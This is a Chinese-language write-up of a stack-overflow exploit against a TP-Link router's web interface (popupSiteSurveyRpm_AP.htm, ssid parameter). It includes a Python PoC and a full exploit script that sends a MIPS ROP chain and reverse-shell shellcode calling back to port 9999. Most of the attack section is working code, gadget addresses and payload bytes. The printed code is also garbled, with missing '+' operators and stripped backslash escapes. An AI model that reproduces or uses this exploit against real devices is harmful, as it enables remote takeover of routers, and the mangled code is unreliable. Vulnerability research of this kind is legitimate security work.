"*0x55 "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac")')''
很明显缓冲区溢出发生在函数writePageParamSet，并且在其返回的时候劫持了函数执行流。最后lw了四个寄存器ra,s2,s1,s1,s0，通过这个可以辅助判断我们发生溢出的大概位置。执行之后sp会加0x288，当然这条指令是在跳转之前执行的，因为指令流水线。
另外一边，我们看到页面打印出大量的</br>，也验证了我们之前的代码审计，writePageParamSet是将输入的数据写入Javascript的Param对象中。同时也通过1位字节换4位字节的方式写入超出界限的数据，如果要修补这个漏洞也很简单，只需要将缓冲区扩大四倍就行了，或者修改stringModify，让产生</br>的时候指针size 4而不是size 1。
经过计算payload每一位应为0x55*”/ ” 2 s0 s1 s2 ra
在溢出区域出放置地址我们就能够成功控制程序流。让我们用python实现一下poc.py
import requests
import socket
import socks
import urllib
default_socket = socket.socket
socket.socket = socks.socksocket
session = requests.Session()
session.verify = False
def exp(path,cookie):
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))}
payload="/
"*0x55 "abcdefghijklmn" "x78x56x34x12"
params = {
"mode":"1000",
"curRegion":"1000",
"chanWidth":"100",
"channel":"1000",
"ssid":urllib.request.unquote(payload) #if python3
#urllib.unquote(payload) #if python2 (suggest)
}
url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path))
resp = session.get(url,params=params,headers=headers,timeout=10)
print (resp.text)
exp("AYEUYUFAXVOKELRC"," YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=")
漏洞利用
接下来让我们为这个漏洞编写一下利用脚本，语言我们使用python2.7。
利用时要注意Mips架构下默认ASLR是不开启的，并且heap和sgack是可执行的，所以直接跳转到shellcode即可。不过由于缓存不一致性，我们需要使用ROP。
注意Mips是大端的，数据存放方式与小端是相反的。并且在gdb调试后后记得endian为big，否则断点是断不下来的。
构造ROP链
Mips指令集包含一种的cache incoherency(缓存不一致性)，指令Cache和数据Cache两者的同步需要一个时间来同步。需要调用Sleep来让shellcode从数据Cache刷新到指令Cache，否则会执行失败，不能像x86架构下直接跳转到shellcode，而是需要构造如下一条ROP链接，先调用sleep，然后在跳转到shellcode。
sleep(1) -> read_value_from_stack -> jump to stack(shellcode)
Mips的栈并没有pop和push，而是直接调用栈，ROP链构造和x86有一些区别，不过总体上逻辑应该是更加简单了，不过gadgets比较难找（因为全是寄存器操作）。
注意的是，pwntools需要专门设置为大端，否则默认小端。
context.endian = 'big'
寻找gadgets
经过上文的分析，我们知道我们能够布置栈，来控制s0～s2和ra寄存器。初始我们将ra覆盖为gadget1，用于修改寄存器$a0，将sleep函数的地址放在s2备用，将gadgets放在s1用于下一次跳转。另外，使用gadgets需要考虑流水线效应。
Gadget1，修改寄存器$a0（作为调用sleep的参数）
LOAD:0000E204 move $t9, $s1
LOAD:0000E208 jalr $t9 ; sysconf
LOAD:0000E20C li $a0, 3
Gadget2，完成两个功能，1.调用sleep函数，2.跳转到下一个gadgets。首先调用sleep函数（之前存放在s2中），并且结束之后sp会增加0x28字节。在结束之前也会修改ra等寄存器的值，不过这里需要注意的是0x28 var_10($sp)的意思是sp 0x28-0x10地址。（Mips是通过偏移来获得栈内参数的），这里也要先设置好ra的值。调用sleep之后，程序会跳转到ra指向的地址。
LOAD:00037470 move $t9, $s2
LOAD:00037474 lw $ra, 0x28 var_4($sp)
LOAD:00037478 lw $s2, 0x28 var_8($sp)
LOAD:0003747C lw $s1, 0x28 var_C($sp)
LOAD:00037480 lw $s0, 0x28 var_10($sp)
LOAD:00037484
LOAD:00037484 loc_37484: # DATA XREF: xdr_callhdr↓o
LOAD:00037484 jr $t9 ; xdr_opaque_auth
LOAD:00037488 addiu $sp, 0x28
#其实这段代码用gdb的反汇编看起来反而更加易懂一些
=> 0x77f70470: move t9,s2
0x77f70474: lw ra,36(sp)
0x77f70478: lw s2,32(sp)
0x77f7047c: lw s1,28(sp)
0x77f70480: lw s0,24(sp)
0x77f70484: jr t9
0x77f70488: addiu sp,sp,40
Gadget3，用于将栈底地址写入a1，即我们布置的shellcode的地址。
LOAD:0000E904 addiu $a1, $sp, 0x168 var_150
LOAD:0000E908 move $t9, $s1
LOAD:0000E90C jalr $t9 ; stat64
LOAD:0000E910 addiu $a0, (aErrorNetrcFile 0x28 - 0x60000)
Gadget4，跳转到shellcode
LOAD:000374D8 move $t9, $a1
LOAD:000374DC sw $v0, 0x4C($a0)
LOAD:000374E0 move $a1, $a2
LOAD:000374E4 jr $t9
LOAD:000374E8 addiu $a0, 0x4C # 'L'
shellcode(连接本地9999端口)
因为我们的数据c3会被转义，一种方式是指令替换，另一种方式是指令逃逸。这里直接参考了师傅们的shellcode参考地址。
Exploit
布置好gadgets和shellcode，最后shellcode的内容是反弹到本地的9999端口，挂好httpd服务，获取目录地址和cookie作为exp的参数运行，利用成功只需在本地用nc连接一下即可。
EXP.py
#!/usr/bin/python
from pwn import *
import requests
import socket
import socks
import urllib
import struct
default_socket = socket.socket
socket.socket = socks.socksocket
session = requests.Session()
session.verify = False
context.endian = 'big'
libc_base=0x77f39000
sleep =0x53CA0 #end 00053ECC
#gadgets
g1=0x000E204 #0x77F47204
#LOAD:0000E204 move $t9, $s1
#LOAD:0000E208 jalr $t9 ; sysconf
#LOAD:0000E20C li $a0, 3
g2=0x00037470
#LOAD:00037470 move $t9, $s2
#LOAD:00037474 lw $ra, 0x28 var_4($sp)
#LOAD:00037478 lw $s2, 0x28 var_8($sp)
#LOAD:0003747C lw $s1, 0x28 var_C($sp)
#LOAD:00037480 lw $s0, 0x28 var_10($sp)
#LOAD:00037484
#LOAD:00037484 loc_37484:
#LOAD:00037484 jr $t9 ; xdr_opaque_auth
#LOAD:00037488 addiu $sp, 0x28
g3=0x0000E904 #0x77f47904
#LOAD:0000E904 addiu $a1, $sp, 0x168 var_150
#LOAD:0000E908 move $t9, $s1
#LOAD:0000E90C jalr $t9 ; stat64
#LOAD:0000E910 addiu $a0, (aErrorNetrcFile 0x28 - 0x60000)
g4=0x00374D8
#LOAD:000374D8 move $t9, $a1
#LOAD:000374DC sw $v0, 0x4C($a0)
#LOAD:000374E0 move $a1, $a2
#LOAD:000374E4 jr $t9
#LOAD:000374E8 addiu $a0, 0x4C # 'L'
shellcode="x24x0exffxfdx01xc0x20x27x01xc0x28x27x28x06xffxff"
shellcode ="x24x02x10x57x01x01x01x0cxafxa2xffxffx8fxa4xffxff"
shellcode ="x34x0exffxffx01xc0x70x27xafxaexffxf6xafxaexffxf4"
shellcode ="x34x0fxd8xf0x01xe0x78x27xafxafxffxf2x34x0fxffxfd"
shellcode ="x01xe0x78x27xafxafxffxf0x27xa5xffxf2x24x0fxffxef"
shellcode ="x01xe0x30x27x24x02x10x4ax01x01x01x0cx8fxa4xffxff"
shellcode ="x28x05xffxffx24x02x0fxdfx01x01x01x0cx2cx05xffxff"
shellcode ="x24x02x0fxdfx01x01x01x0cx24x0exffxfdx01xc0x28x27"
shellcode ="x24x02x0fxdfx01x01x01x0cx24x0ex3dx28xafxaexffxe2"
shellcode ="x24x0ex77xf9xafxaexffxe0x8fxa4xffxe2x28x05xffxff"
shellcode ="x28x06xffxffx24x02x0fxabx01x01x01x0c"
s0=p32(0x11111111)
s1=p32(g2 libc_base) # break
s2=p32(sleep libc_base)
payload= "/
"*0x55 2*'x' s0 s1 s2
payload =p32(g1 libc_base)
payload ='x'*28
payload =p32(g4 libc_base) #s1
payload =p32(0x33333333) #s2
payload =p32(g3 libc_base) #ra
payload ='x'*24
payload =shellcode
def exp(path,cookie):
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))}
params = {
"mode":"1000",
"curRegion":"1000",
"chanWidth":"100",
"channel":"1000",
"ssid":urllib.unquote(payload)
}
url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path))
resp = session.get(url,params=params,headers=headers,timeout=10)
print (resp.text)
exp("FMHSNOEAAJAKZBNA"," YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=")
参考
Linux系统调用Hook姿势总结
http://www.anquanke.com/post/id/203486
http://www.youtube.com/watch?v=0_GsX2xhngU
http://ktln2.org/2020/03/29/exploiting-mips-router/
http://zhuanlan.zhihu.com/p/314170234
http://bbs.pediy.com/thread-212369.htm
http://blog.senr.io/blog/why-is-my-perfectly-good-shellcode-not-working-cache-coherency-on-mips-and-arm
http://www.anquanke.com/post/id/202219
http://www.tearorca.top/index.php/2020/04/21/cve-2020-8423tplink-wr841n-路由器栈溢出/
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